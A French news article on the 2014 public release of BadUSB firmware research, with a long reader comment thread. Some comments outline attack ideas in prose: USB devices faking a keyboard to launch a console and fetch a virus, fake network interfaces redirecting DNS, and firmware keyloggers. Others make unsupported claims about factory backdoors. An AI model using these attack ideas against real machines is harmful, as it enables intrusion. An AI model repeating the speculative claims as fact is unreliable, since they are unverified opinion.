Les détails d'une importante faille USB sont désormais publics

Les détails d’une importante faille USB sont désormais publics

Plug & Decay

Avatar de l'auteur
Vincent Hermann

Publié dans

Logiciel

04/10/2014 4 minutes
122

Les détails d'une importante faille USB sont désormais publics

Les détails d’une inquiétante faille de l’USB sont désormais accessibles à tous. Démontrée lors de la dernière conférence Black Hat, elle permet de corrompre n’importe quel périphérique USB pour lui faire embarquer des malwares pratiquement indétectables. Devant le manque de réaction de l’industrie, certains chercheurs en ont eu assez d’attendre.

Cacher des malwares dans le firmware d'une clé USB

Le chercheur Karsten Nohl, de chez SR Labs, avait fait la démonstration de cette faille dans une petite pièce il y a deux mois. Nommée BadUSB, ses implications étaient particulièrement conséquentes : la possibilité d’infecter une clé USB par exemple pour lui faire intégrer un code capable ensuite de s’exécuter de manière automatique par la machine sur laquelle elle est reliée. Une version beaucoup plus grave en quelque sorte des anciens problèmes liés au fichier autorun.inf sous Windows.

 

Les travaux de Nohl étaient restés secrets car la faille a le potentiel de faire de grands dégâts. Et pour cause : par sa nature même, elle bloque la possibilité de détecter les malwares ainsi embarqués par les solutions de sécurité. La seule parade est que les constructeurs prennent au sérieux la faille et agissent pour que les nouveaux périphériques USB ne puissent plus être infectés. Et pour les existants ? C’est bien là tout le problème.

Les constructeurs sous pression 

Deux chercheurs, Adam Caudill et Brandon Wilson, se sont lancés sur la piste de BadUSB et sa rétroingénierie. Ils sont parvenus à retrouver plusieurs méthodes d’exploitation de la faille et ont publié leurs résultats sur GitHub, donc en accès libre. Durant la conférence Derbycon, qui s’est tenue il y a une semaine à Louisville (Kentucky), ils ont expliqué leur geste : « Nous pensons que tout ceci devrait être public. Ce ne devrait pas être gardé caché. Nous publions donc tout ce que nous avons ». Et d’expliquer que puisque SR Labs n’a pas souhaité montrer les détails de la faille, les entreprises impliquées n’ont pas pu la considérer sérieusement.

 

Interrogé par Wired, Adam Caudill précise : « Si cela doit être corrigé, nous avons besoin de plus qu’une présentation à la Black Hat. Si les seules personnes qui peuvent le faire sont celles ayant de gros budgets, les constructeurs ne feront jamais rien. Vous devez prouver au monde que c’est utilisable, que n’importe qui peut le faire… Ce qui impose une pression aux constructeurs pour qu’ils corrigent le vrai problème ».

Mettre à jour les périphériques existants ? Difficile 

Nohl avait initialement refusé de partager les détails de sa faille car il estimait qu’en l’état, la corriger était impossible : comment flasher les firmwares des centaines de millions de clés USB existant sur le marché ? Les constructeurs devraient se pencher sur le problème, créer de nouveaux firmwares pour des modèles qui ne sont plus vendus depuis bien longtemps, avertir les utilisateurs, leur faire prendre conscience du danger et les amener à changer le firmware : rien de bien simple en somme.

 

Et c’est d’ailleurs ce grand danger qui a empêché Adam Caudill et Brandon Wilson de publier l’intégralité des méthodes d’exploitation découvertes. Actuellement, ils travaillent sur un processus masqué dans le firmware capable d’infecter à la volée tous les fichiers entrant et sortant de la clé avec des malwares. Il suffirait donc de brancher la clé pour déclencher une infection généralisée d’une machine.

Écrit par Vincent Hermann

Tiens, en parlant de ça :

Sommaire de l'article

Introduction

Cacher des malwares dans le firmware d'une clé USB

Les constructeurs sous pression 

Mettre à jour les périphériques existants ? Difficile 

Le brief de ce matin n'est pas encore là

Partez acheter vos croissants
Et faites chauffer votre bouilloire,
Le brief arrive dans un instant,
Tout frais du matin, gardez espoir.

Fermer

Commentaires (122)


Donc si je comprends bien, ça concerne potentiellement tous les OS, ordinateur comme mobile ? Dans la pratique, il faut que l’OS puisse exécuter le code du virus, donc ça touchera certainement principalement Windows, mais c’est sérieux comme faille.


Périphérique USB c’est vague quand même. La souris programmable que j’ai dans la main possède aussi de la mémoire de stockage!



Ca serait, selon moi, plus simple de changer le parc de machines plutôt que le parc de périphériques.

N’importe comment cela parait être une mission impossible.


Je lance l’idée sur kickstarter => le hub usb pare feu


L’OS ne pourrait-il tout simplement pas vérifier le contenu du firmware avant de l’exécuter ? Ce serait le rôle de l’antivirus, et il me semble que Windows contient un antivirus par défaut depuis Windows 8 au moins.










Pr. Thibault a écrit :



L’OS ne pourrait-il tout simplement pas vérifier le contenu du firmware avant de l’exécuter ? Ce serait le rôle de l’antivirus, et il me semble que Windows contient un antivirus par défaut depuis Windows 8 au moins.







<img data-src=" />

Je ne pense pas c’est trop tard

Il y a quelques années on avait regardé ça et la seule solution que nous avions trouvé était d’interdire ( ou controller) les périph USB sur les postes de travail

on avait implémenté STORMSHIELD

et il y est encore ( pas la même version hein ? <img data-src=" /> )









Pr. Thibault a écrit :



L’OS ne pourrait-il tout simplement pas vérifier le contenu du firmware avant de l’exécuter ? Ce serait le rôle de l’antivirus, et il me semble que Windows contient un antivirus par défaut depuis Windows 8 au moins.







A priori windows n’accède pas au firmware.

Quand tu flashe un périphérique tu utilise un utilitaire dédié. Je vois pas comment l’OS pourrait vérifier que le firmware est le bon (je te raconte pas la taille de la banque de donnée) sans que le code s’execute en amont.

Le pire reste le demarrage d’un PC/smartphone avec la clé déjà branchée.



PCI, vous avez vu la news sur le spyware de la police installé dans un programme de logiciel de filtrage parental ?

https://www.eff.org/deeplinks/2014/09/computercop-dangerous-internet-safety-soft…




Nohl avait initialement refusé de partager les détails de sa faille car il estimait qu’en l’état, la corriger était impossible : comment flasher les firmwares des centaines de millions de clés USB existant sur le marché ? Les constructeurs devraient se pencher sur le problème, créer de nouveaux firmwares pour des modèles qui ne sont plus vendus depuis bien longtemps, avertir les utilisateurs, leur faire prendre conscience du danger et les amener à changer le firmware : rien de bien simple en somme.



Je ne comprends pas, c’était au contraire une aubaine pour tous les fabricants : une belle annonce catastrophiste entre le réchauffement climatique et une décapitation au moyen-orient pour inciter tout le monde à racheter des clés USB.


Serait-il possible d’avoir des informations techniques pour détecter si une clé USB contient cette faille ?

Quel logiciel utiliser ? A quelle adresse mémoire chercher ?








HarmattanBlow a écrit :



Je ne comprends pas, c’était au contraire une aubaine pour tous les fabricants : une belle annonce catastrophiste entre le réchauffement climatique et une décapitation au moyen-orient pour inciter tout le monde à racheter des clés USB.







En fait je ne comprend pas l’intérêt de changer les firmware des periphs existants. A partir du moment où on peut flasher, c’est que le périph est vulnérable.

Je pense que la prochaine génération sera inviolable.

Pour le matos existant c’est pas un code malveillant sur une page internet qui va infecter

une clé. Je pense qu’il faut un logiciel specialisé pour infecter, voire un acces physique.

Plus que jamais je n’accepte pas debrancher le matos des autres sur mes machines.









calimero1 a écrit :



A priori windows n’accède pas au firmware.

Quand tu flashe un périphérique tu utilise un utilitaire dédié. Je vois pas comment l’OS pourrait vérifier que le firmware est le bon (je te raconte pas la taille de la banque de donnée) sans que le code s’execute en amont.

Le pire reste le demarrage d’un PC/smartphone avec la clé déjà branchée.







Donc le malware en question devra lui aussi être dédié à un modèle de clé USB bien précis, pour pouvoir se propager de PC en PC.

C’est un boulot énorme pour faire un malware compatible avec toutes les marques et modèles, non ?

Quel est le risque réel d’avoir un jour ce type de malware polyvalent ?



L’antivirus ne peut pas analyser le firmware, mais il peut analyser tout ce qui rentre et qui sort de la clé USB. Donc détecter le malware.









leo21fr a écrit :



Serait-il possible d’avoir des informations techniques pour détecter si une clé USB contient cette faille ?

Quel logiciel utiliser ? A quelle adresse mémoire chercher ?







Il te faut un logiciel (si il existe) capable de lire le firmware et de le comparer au firmware constructeur (si tu le trouves)….









copaz a écrit :



… C’est un boulot énorme pour faire un malware compatible avec toutes les marques et modèles, non ?

Quel est le risque réel d’avoir un jour ce type de malware polyvalent ?





L’antivirus ne peut pas analyser le firmware, mais il peut analyser tout ce qui rentre et qui sort de la clé USB. Donc détecter le malware.







Clairement je pense que du matos infecté aura été infecté quasi volontairement.



Par contre les analyses de comportement des antivirus… je n’y crois pas trop la plupart du temps un antivirus se casse les dents quand il tombe sur quelque chose qu’il ne connait pas parfaitement.










leo21fr a écrit :



Serait-il possible d’avoir des informations techniques pour détecter si une clé USB contient cette faille ?

Quel logiciel utiliser ? A quelle adresse mémoire chercher ?





faut avoir accès au firmware, donc on revient au point de départ, comment acceder au firmware ?



Potentiellement ça peut aussi toucher les claviers/souris.

Dans la démo faite,de mémoire ils avaient pourri un clavier avec un keyloger, indétectable par l’OS et les AV puisque dans le firmware.



J’ai du mal à saisir en quoi cette « faille » est grave. En gros un périphérique de stockage dispose d’un firmware qui est éventuellement reprogrammable si une interface ISP (In System Programing) est disponible via le bus de contrôle. En l’absence d’ISP dans tous les cas le fabricant peut mettre le firmware qu’il souhaite en partenariat avec la NSA.

Maintenant, sans connaître la cible, modifier à la volée une archive compactée disposant d’une somme de contrôle pour infecter la machine hôte en utilisant un firmware d’une taille ridicule et avec un micro-contrôleur qui dispose de quelques kilo-octets de RAM, bon courage !








copaz a écrit :



Donc le malware en question devra lui aussi être dédié à un modèle de clé USB bien précis, pour pouvoir se propager de PC en PC.

C’est un boulot énorme pour faire un malware compatible avec toutes les marques et modèles, non ?

Quel est le risque réel d’avoir un jour ce type de malware polyvalent ?



L’antivirus ne peut pas analyser le firmware, mais il peut analyser tout ce qui rentre et qui sort de la clé USB. Donc détecter le malware.







C’est un peu comme heartbleed, c’est vieux comme le monde (ça date des premier périph USB et des premiers firmware) et déjà exploité à outrance…, sauf que c’est glissé sous le tapis…, histoire d’en profiter le plus longtemps possible.



Les périphériques en question utilisent des normes/couches communes, du moment ou le firmware est accessible en écriture, l’aspect “marque modèle” importe peu, ils sont vulnérables (à noter que ce type de faille touche potentiellement TOUS les périphériques ayant un firmware flashable RW).



L’explotation se fait en couche basse, avant le boot, donc indépendante de l’OS. (emulation clavier, Spoof, log etc)









francois-battail a écrit :



J’ai du mal à saisir en quoi cette « faille » est grave.!







Si tu refuses catégoriquement a quiconque de brancher sa clé USB sur ton PC ça devrait aller ;) ( ou smartphone apparement c’est le mieux )



En tout cas le procédé sur github est bien barbare j’ai essayé de comprendre vite fait mais ça va prendre du temps









coolraoul a écrit :



Si tu refuses catégoriquement a quiconque de brancher sa clé USB sur ton PC ça devrait aller ;) ( ou smartphone apparement c’est le mieux )



En tout cas le procédé sur github est bien barbare j’ai essayé de comprendre vite fait mais ça va prendre du temps







Ça va beaucoup plus loin que cela : qui te dis que ton disque dur interne n’a pas été programmé avec un mécanisme d’injection de malware ?



Sur la démo Github ils présentent un moyen de reprogrammer une clé USB spécifique en utilisant un programmateur externe basé sur un 8051, de façon à mettre leur firmware spécifique. Ensuite (mais je n’ai regardé que très rapidement) d’altérer le fonctionnement de la clé (changer le partitionnement…) je n’ai rien vu de probant pour, depuis la couche USB, prendre le contrôle de la machine hôte.



Donc la démonstration est qu’en changeant le firmware d’un périphérique on peut changer son comportement, on avance…



Korben en a parlé il y a déjà 2 mois : Faut-il boucher ses ports USB au ciment ?


Erratum : le 8051 est en fait le MCU de la clé, donc c’est juste de la cross-compilation pour créer le firmware. Ma conclusion reste inchangée.








francois-battail a écrit :



Ça va beaucoup plus loin que cela : qui te dis que ton disque dur interne n’a pas été programmé avec un mécanisme d’injection de malware ?







il suffira d’un petit google sur TOA et ANT, pour savoir que c’est systématiquement fait en usine (chez WD du moins)



Le gros souci, ça reste les postes en libre service dont on n’a pas d’autre choix que de laisser les ports USB accessibles.


Une question que je me pose (mais peut être avec répionse positive) : qu’en est-il des stockages “HDD” sur port USB ? Le disque dur 2 TO USB3 que j’ai peut en être victime ?








Gilbert_Gosseyn a écrit :



Une question que je me pose (mais peut être avec répionse positive) : qu’en est-il des stockages “HDD” sur port USB ? Le disque dur 2 TO USB3 que j’ai peut en être victime ?







oui.



Excellente affaire pour les constructeurs, ils vont pouvoir nous revendre plein de nouvelles clés USB fiabilisées pendant qu’on mettra les anciennes à la poubelle.








iksarfighter a écrit :



Excellente affaire pour les constructeurs, ils vont pouvoir nous revendre plein de nouvelles clés USB fiabilisées pendant qu’on mettra les anciennes à la poubelle.





Soit disant fiabilisées. Les NAS ont de (relatifs) beaux jours devant eux …



Question peut-être bête mais je me demande pourquoi ça ne pourrait pas être le cas de toute entrées sur un ordinateur ? (hdmi, jack, série, etc..)








tAran a écrit :



Question peut-être bête mais je me demande pourquoi ça ne pourrait pas être le cas de toute entrées sur un ordinateur ? (hdmi, jack, série, etc..)





Je crois qu’il y a déjà eu des attaques similaires sur les ports Thunderbolt & Firewire. La différence ici c’est l’impact de l’USB : tous les ordinateurs ont un port USB et quasiment tout le monde utilise l’USB quotidiennement.









iksarfighter a écrit :



Excellente affaire pour les constructeurs, ils vont pouvoir nous revendre plein de nouvelles clés USB fiabilisées pendant qu’on mettra les anciennes à la poubelle.





Cela ne corrige pas le problème puisque à priori tu sais ce que tu fais de ta clé. Par contre, tu sais pas si la clé inconnu que tu branches, elle est sécurisé …



Mais le malware une fois executé, se loge obligatoirement en memoire vive et donc l’antivirus pourra l’intercepter.








lol.2.dol a écrit :



Je crois qu’il y a déjà eu des attaques similaires sur les ports Thunderbolt & Firewire. La différence ici c’est l’impact de l’USB : tous les ordinateurs ont un port USB et quasiment tout le monde utilise l’USB quotidiennement.







Ce n’est pas suffisant : il faut qu’il y ait un firmware(*) et que celui-ci puisse être reprogrammé depuis la machine hôte (ISP).



(*) Beaucoup d’interfaces USB sont en fait des convertisseurs série avec un firmware limité au strict minimum (ID vendor et device USB) et sont exposées à travers un MCU difficilement exploitable par exemple : le XR21V1410.



edit : typo url









taralafifi a écrit :



Mais le malware une fois executé, se loge obligatoirement en memoire vive et donc l’antivirus pourra l’intercepter.





Oui, mais ça n’en reste pas moins un vecteur d’infection plutôt puissant et répandu.



De plus, si on lit le PDF de SRLabs, on peut voir qu’il ne s’agit pas tout le temps de malwares : ils arrivent à créer une fausse connexion réseau par laquelle ils font passer tout les requêtes DNS.



En fait, pour limiter le maximum l’effet de BadUSB, il faudrait que l’OS (ou une solution de sécurité) détecte les changements intempestifs de type des périphériques USB –&gt; Une fois que ta clé USB est enregistré en DataStorageUSB, elle n’a pas le droit de se faire passer en autre chose.









tAran a écrit :



Question peut-être bête mais je me demande pourquoi ça ne pourrait pas être le cas de toute entrées sur un ordinateur ? (hdmi, jack, série, etc..)







Le type de périphérique attaché à l’entrée est plus important pour ce genre d’attaque que le port de communication lui même. En clair l’essentiel étant que ton bus (“port”), quel qu’il soit, permette un certain type de communication entre le périphérique et le reste du matériel/OS. Donc oui, Serie, USB, SATA, IDE, PCIE etc.., c’est possible.









lol.2.dol a écrit :



En fait, pour limiter le maximum l’effet de BadUSB, il faudrait que l’OS (ou une solution de sécurité) détecte les changements intempestifs de type des périphériques USB –&gt; Une fois que ta clé USB est enregistré en DataStorageUSB, elle n’a pas le droit de se faire passer en autre chose.







Exact, ou alors sniffer le port en question et les transactions et interrompre le flux fonction de flags malicieux précis.

En revanche faire ça avant/pendant l’initialisation du Bios (si lui même n’est pas vérolé…) serait la seule parade efficace.

Sans oublier d’appliquer celà à tous les bus, autrement tous périphériques vulnérables peuvent devenir/devienent nouvelle source d’infection.




Beaucoup de bruit pour rien, a moins que le firmware puisse accédé a une faille de l’os…








calimero1 a écrit :



Je lance l’idée sur kickstarter =&gt; le hub usb pare feu







J’en suis, et j’ai déjà le slogan:



“Le seul hub avec des vrais morceaux d’open office dedans.

Hadopi certifiés”



Une bonne raison d’employer les clés qu’avec Linux <img data-src=" /><img data-src=" /><img data-src=" />



Une alternative de choix, non ?



<img data-src=" />








leo21fr a écrit :



Serait-il possible d’avoir des informations techniques pour détecter si une clé USB contient cette faille ?

Quel logiciel utiliser ? A quelle adresse mémoire chercher ?







<img data-src=" />

A ce que je comprends, TOUTES les clés USB ont la faille puisque c’est au niveau de l’USB lui-même qu’elle se trouve.



sur l article de wired, il y a plusieurs commentaires intéressants de gars bossant ds la programmation des firmware USB, notamment de “zieroh”.

En résumé, le pb n est pas du standard USB mais de l’implémentation libre des constructeurs concernant la procédure de flashage, plus exactement le fait que certains ne prennent pas la peine de vérifier la source (avec par ex une signature) du nouveau firmware avant d accepter son flashage.

Par ailleurs, le pb n affecte que certaines puces de certains constructeurs, on est loin du “toutes les clefs USB” ! Reste à savoir lesquelles!


Marrant ce buzz autour de BADUSB tout d’un coup, alors que ça fait plusieurs années que n’importe qui peut faire la même chose avec une teensy et 30 lignes de code (pour émuler le clavier par exemple).








loser a écrit :



<img data-src=" />

A ce que je comprends, TOUTES les clés USB ont la faille puisque c’est au niveau de l’USB lui-même qu’elle se trouve.







Pas forcément, tous les périphériques ne sont pas forcément “upgradable”…



Si j’ai compris le problème, c’est surtout de sécuriser le système de maj des périphériques car si quelqu’un peut le re-programmer c’est déjà perdu à cause de la manière dont marche l’usb (et c’est ce qui fait que c’est pratique).



Comme le principe de l’usb, c’est que c’est le périphérique qui déclare ce qu’il sait faire (stockage, clavier souris, com série, …).



Par exemple si tu branches un truc qui dit être un clavier, que l’os l’accepte, alors ton truc peut envoyer des appuis claviers qui seront interprétés comme venant de l’utilisateur.



Une solution niveau OS, c’est que l’utilisateur est la dernier mot sur l”utilisattion de tous les périphériques, du genre: Autorise tu l’utilisation du périphérique machin/bidule sur le bus usb n°.X port n°.A.B.C.D….



C’est vieux comme tout cette faille :





… Branchement d’un périphérique type USB ou Firewire (faille DMA pour le protocole raw1394)

exploitant une faille de ces protocoles pour attaquer le système via ces bus (ByPass authentification

Windows),

Note : ici on ne parle pas « d’Autorun » mais bien de couche basse, niveau pilote bas niveau.





je l’enseignai déjà en 2011 à mes stagiaires dans ce cours que j’ai écrit : “Firewall - Architecture et déploiement (Linux).pdf”




Il suffirait donc de brancher la clé pour déclencher une infection généralisée d’une machine.





Donc un malware a la capacité de traverser TOUT les systèmes de fichiers existant ?









moxepius a écrit :



Beaucoup de bruit pour rien, a moins que le firmware puisse accédé a une faille de l’os…





Non, rien à voir avec une quelconque faille. Les types du SRLabs montrent qu’en modifiant le firmware USB, ils présentent d’abord une clé USB en tant que clé USB puis discrètement présentent des descripteurs d’autres périphériques :





  • Interface réseau : permettant de rediriger les flux DNS

  • Périphérique de saisie (clavier) : permettant de faire un keylogger (sous Linux)

  • Faut periph de thetering : permettant de lire tout le traffic





    Ce n’est pas une faille de l’OS que d’accepter l’installation d’un périphérique qu’on lui propose!









    2show7 a écrit :



    Une bonne raison d’employer les clés qu’avec Linux <img data-src=" /><img data-src=" /><img data-src=" />



    Une alternative de choix, non ?



    <img data-src=" />





    <img data-src=" /> <img data-src=" />

    Rien à voir avec l’OS : encore une fois il s’agit d’un périphérique USB qui est faussement présenté à l’OS. Linux, Mac, BSD (enfin si ils sont un peu user-friendly), vont installer le périphérique présenté. Webcam, clavier, cléWiFi,…









pentest a écrit :



Donc un malware a la capacité de traverser TOUT les systèmes de fichiers existant ?







Absolument, même si le système de fichier est en ROM <img data-src=" /> Franchement, la question qui se pose est : « Peut-on faire confiance au couple hardware / firmware ? » mais cela fait longtemps qu’on sait que c’est non, sauf à maîtriser l’ensemble de la chaîne et à garantir une isolation parfaite. Bref, rien de neuf.









ledufakademy a écrit :



C’est vieux comme tout cette faille :







je l’enseignai déjà en 2011 à mes stagiaires dans ce cours que j’ai écrit : “Firewall - Architecture et déploiement (Linux).pdf”





Ça n’a rien à voir avec les failles DMA… Surtout que les failles DMA n’ont jamais été possibles en USB.









francois-battail a écrit :



Absolument, même si le système de fichier est en ROM <img data-src=" /> Franchement, la question qui se pose est : « Peut-on faire confiance au couple hardware / firmware ? » mais cela fait longtemps qu’on sait que c’est non, sauf à maîtriser l’ensemble de la chaîne et à garantir une isolation parfaite. Bref, rien de neuf.







A quel moment le malware entre en action ?

Au plug de la clef, au montage de la clef ?



D’autre part en consultant les résultats publiés sur GitHub, je constate que tout est en .exe sous win.

Pourquoi n’y a t-il pas d’exemple sous Gnu/Linux ?









lol.2.dol a écrit :



[*]Périphérique de saisie (clavier) : permettant de faire un keylogger (sous Linux)





je ne vois pas comment on peut faire un keylogger en se présentant comme un périphérique de saisie <img data-src=" />









pentest a écrit :



A quel moment le malware entre en action ?

Au plug de la clef, au montage de la clef ?



D’autre part en consultant les résultats publiés sur GitHub, je constate que tout est en .exe sous win.

Pourquoi n’y a t-il pas d’exemple sous Gnu/Linux ?







Il peut entrer en action à l’initialisation de la machine, au montage, au branchement, c’est selon



Sur le Github c’est juste un “proof of concept” “proof of exploit” avec un exemple sur plateform microsoft, mais le “hook”, le principe et le payload est transposable sur toutes les plateformes/OS. Histoire de ne pas prémacher tout le travail aux “scripts kiddies”.









lol.2.dol a écrit :



Je crois qu’il y a déjà eu des attaques similaires sur les ports Thunderbolt & Firewire. La différence ici c’est l’impact de l’USB : tous les ordinateurs ont un port USB et quasiment tout le monde utilise l’USB quotidiennement.









pufff a écrit :



Le type de périphérique attaché à l’entrée est plus important pour ce genre d’attaque que le port de communication lui même. En clair l’essentiel étant que ton bus (“port”), quel qu’il soit, permette un certain type de communication entre le périphérique et le reste du matériel/OS. Donc oui, Serie, USB, SATA, IDE, PCIE etc.., c’est possible.





Merci de vos réponses les gars <img data-src=" />









lol.2.dol a écrit :



Interface réseau : permettant de rediriger les flux DNS









lol.2.dol a écrit :



[*]Faut periph de thetering : permettant de lire tout le traffic





Si l’interface réseau permet pas de donner une réponse, ça va pas aller bien loin.





lol.2.dol a écrit :



[*]Périphérique de saisie (clavier) : permettant de faire un keylogger (sous Linux)





Les touches tapé sur un clavier, ne sont pas envoyé sur les autre claviers.












Rozgann a écrit :



Donc si je comprends bien, ça concerne potentiellement tous les OS, ordinateur comme mobile ? Dans la pratique, il faut que l’OS puisse exécuter le code du virus, donc ça touchera certainement principalement Windows, mais c’est sérieux comme faille.





C’est ce que je me suis dit en lisant la nouvelle, encore une faille qui ne touche que Windows.









Takoon a écrit :



bah avec çà ?https://hakshop.myshopify.com/collections/usb-rubber-ducky/products/usb-rubber-d…





Tiens, j’avais vu passé ça il y a longtemps. Un exploit de la faille ?









OlivierJ a écrit :



C’est ce que je me suis dit en lisant la nouvelle, encore une faille qui ne touche que Windows.







La faille vient du fait que tous les OS considèrent les clés USB comme des périphériques passifs, alors que la présence de micro-contrôleurs les rends très puissants. Les périphériques USB peuvent être reprogrammer pour faire des attaques très évoluées sur le PC.



Il suffit donc d’avoir un accès physique à la machine cible, pour y brancher un Device USB et perpétrer l’attaque.



Par exemple, la clé USB peut mimer un clavier USB (frappes de touche), puis changer de fonction en cours de route et se transformer en mass-storage et profiter de l’auto-play, etc etc. Profiter d’une faille d’overflow dans un driver de scanner pour obtenir des droits d’exécutions privilégies, etc.etc.



MISC magazine avait déjà décrit des clés USB pour le fuzzing : elles génèrent des paquets USB mal formatés pour faire planter les drivers et trouver des failles exploitables.









linkin623 a écrit :



Tiens, j’avais vu passé ça il y a longtemps. Un exploit de la faille ?







Non du tout. En revanche le ducky est vulnérable à la faille.









nigol a écrit :



La faille vient du fait que tous les OS considèrent les clés USB comme des périphériques passifs, alors que la présence de micro-contrôleurs les rends très puissants. Les périphériques USB peuvent être reprogrammer pour faire des attaques très évoluées sur le PC.



Il suffit donc d’avoir un accès physique à la machine cible, pour y brancher un Device USB et perpétrer l’attaque.



Par exemple, la clé USB peut mimer un clavier USB (frappes de touche), puis changer de fonction en cours de route et se transformer en mass-storage et profiter de l’auto-play, etc etc. Profiter d’une faille d’overflow dans un driver de scanner pour obtenir des droits d’exécutions privilégies, etc.etc.



MISC magazine avait déjà décrit des clés USB pour le fuzzing : elles génèrent des paquets USB mal formatés pour faire planter les drivers et trouver des failles exploitables.





c’est ce que j’essaie d’expliquer à certains : les têtus faut se les taper..









Rozgann a écrit :



Donc si je comprends bien, ça concerne potentiellement tous les OS, ordinateur comme mobile ? Dans la pratique, il faut que l’OS puisse exécuter le code du virus, donc ça touchera certainement principalement Windows, mais c’est sérieux comme faille.





On peut imaginer que Windows soit le vecteur d’installation du malware sur la clé USB privilégié.



Mais une fois sur la clé USB, le malware touche TOUT os, TOUTE plate-forme.



Par exemple, l’idée est de transformer ta clé USB de stockage en clé USB + périphérique réseau afin de récupérer tes requêtes réseau sur la clé.



Dans la pratique touefois, je trouve cela limité. A voir avec les types de périphérique USB standard existant, mais quand on branche un adaptateur ethernet USB, il ne se transforme pas de lui-même en pont USB par qui tout passe sans manipulation dans le système.



Et le périphérique supplémentaire sera visible dans l’OS, on pourra le détecter.









lol.2.dol a écrit :



Ça n’a rien à voir avec les failles DMA… Surtout que les failles DMA n’ont jamais été possibles en USB.





t’as rien capter aux failles bas niveau de l’usb et du firewire toi.



De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.



Pour mettre à jour un FW, il faut généralement passer par un bootloader qui est inclus dans le périphérique qui permet de charger ce FW. C’est au bootloader du vérifier la signature du FW et de décider ou non de le sauvegarder. Une fois sauvegardé, ce FW va être exécuté sur le périphérique USB.



A partir de là, il est possible de faire “ce qu’on veut” avec le périphérique USB. On peut faire en sorte qu’il s’énumère comme un clavier, une clé USB, une carte réseau, une webcam ou ne ne sais quoi.



L’exploitation est, à mon avis, plus compliquée puisque un périphérique USB n’exécute pas de code sur la machine à laquelle il est branché.

&nbsp;

On peut donc imaginer plusieurs vecteurs d’attaque:



&nbsp;1. émuler une clé USB pour que le système boot dessus et ainsi installer un virus ==&gt; pas besoin de bidouiller le FW du périphérique, on peut le faire avec une simple clé USB. L’avantage de le faire en trafiquant le FW c’est d’être “clean” au branchement et lorsque le PC redémarre, monter la partition avec le virus . La parade est super simple: désactiver le boot sur USB, ce qui, au passage est fortement recommandé.

&nbsp;

&nbsp;2. émuler un périphérique USB dont on connait les failles de sécurité du driver installé sur la machine. On pourra essayer de faire des débordement de mémoire et exécuter du code aléatoire sur la machine. Une mise à jour du driver pourra corriger le problème s’il est connu. Cette attaque est donc liée à un système d’exploitation, Windows, Linux et MacOS n’ayant pas les mêmes driver…



&nbsp;3. émuler des périphériques et essayer de glaner des informations.

Cela peut se faire en se déclarant comme une carte réseau et essayer de re-router le trafic réseau vers nous. Je ne m’y connais pas trop en réseau, donc je ne sais pas ce qu’il est possible de faire, mais je pense que si le trafic est redirigé vers cette carte factice, il y a de forte chance que le réseau ne marche plus (à moins de pouvoir forcer les paquets à passer par la carte réseau factice puis de les renvoyer vers la carte réseau légitime… j’ai du mal à voir comment faire… mais pourquoi pas…)



&nbsp;On peut aussi se faire passer pour un clavier et entrer des commandes, comme par exemple lancer une console DOS, aller télécharger un virus sur internet toujours en commande dos puis l’exécuter. Cette attaque est plutôt visible car la fenêtre dos est visible et si jamais le périphérique USB infecté effectue cette manipulation alors que vous être en train de rédiger votre rapport sur votre éditeur de texte favoris, alors tout tombe à l’eau.

Cette attaque par clavier factice tombe aussi à l’eau si vous branchez le périphérique USB alors que la session est verrouillée… puisqu’il faut entrer le mot de passe de la session pour pouvoir faire quelque chose.

En plus l’execution d’un virus sera surement détecté par votre anti-virus.

&nbsp;

On peut aussi se déclarer en périphérique composite (plusieurs “périphériques” dans 1), comme un clavier + une carte réseau + une clé USB + … Pareil, l’attaque est assez compliqué car il faudra faire en sorte que tout soit bien synchro pour attaquer le PC et espérer faire quelque chose.



Il faut aussi prendre conscience que généralement les mémoires embarquées dans les périphériques sont réduites au minimum. Donc une souris avec ses quelques ko de flash aura du mal à sauvegarder 3 jours de trafic réseau. C’est pour cela que les clés USB (stockage de masse) sont les plus sujet aux attaques car il est possible de sauvegarder beaucoup plus de données.



Une parade à tout cela serait que le système affiche lors du branchement d’un périphérique USB ce à quoi il sert et demande à l’utilisateur de valider. Ainsi, si vous branchez une clé USB (stockage de masse) et que celle-ci se déclare comme un stockage de masse et un clavier ==&gt; vous refusez. Idem si la clé USB se déclare comme une carte réseau…

Reste le problème du démarrage… il faudra bien autoriser au moins un clavier et une souris pour permettre à l’utiliser de valider les autres périphériques…



L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…








nigol a écrit :



La faille vient du fait que tous les OS considèrent les clés USB comme des périphériques passifs, alors que la présence de micro-contrôleurs les rends très puissants. Les périphériques USB peuvent être reprogrammer pour faire des attaques très évoluées sur le PC.



MISC magazine avait déjà décrit des clés USB pour le fuzzing : elles génèrent des paquets USB mal formatés pour faire planter les drivers et trouver des failles exploitables.





Merci pour les détails, vu comme ça, on peut imaginer une clé qui exploite autre chose que Windows, en effet. Il faudrait que le firmware connaisse les vulnérabilités les plus répandues sur plusieurs versions de Linux et de MacOS. L’article de MISC mentionne une attaque réussie d’un Linux ?



Note que la multiplicité des versions de Linux est un atout pour la sécurité, là où le rouleau compresseur Windowsien est un handicap. On peut faire tomber des boîtes entières du coup (comme déjà vu depuis les années 2000).







nigol a écrit :



Par exemple, la clé USB peut mimer un clavier USB (frappes de touche), puis changer de fonction en cours de route et se transformer en mass-storage et profiter de l’auto-play





Avec la mention de l’auto-play, on pense forcément à Windows.









yep a écrit :



De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.

(…)

On peut donc imaginer plusieurs vecteurs d’attaque:

(…)



Une parade à tout cela serait que le système affiche lors du branchement d’un périphérique USB ce à quoi il sert et demande à l’utilisateur de valider. Ainsi, si vous branchez une clé USB (stockage de masse) et que celle-ci se déclare comme un stockage de masse et un clavier ==&gt; vous refusez. Idem si la clé USB se déclare comme une carte réseau…

Reste le problème du démarrage… il faudra bien autoriser au moins un clavier et une souris pour permettre à l’utiliser de valider les autres périphériques…



L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…





Tès intéressant commentaire, merci.

<img data-src=" />









yep a écrit :



De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.









Tu as l’idée général de la faille oui, par contre tu sous estimes l’exploitation possible.









pufff a écrit :



Tu as l’idée général de la faille oui, par contre tu sous estimes l’exploitation possible.





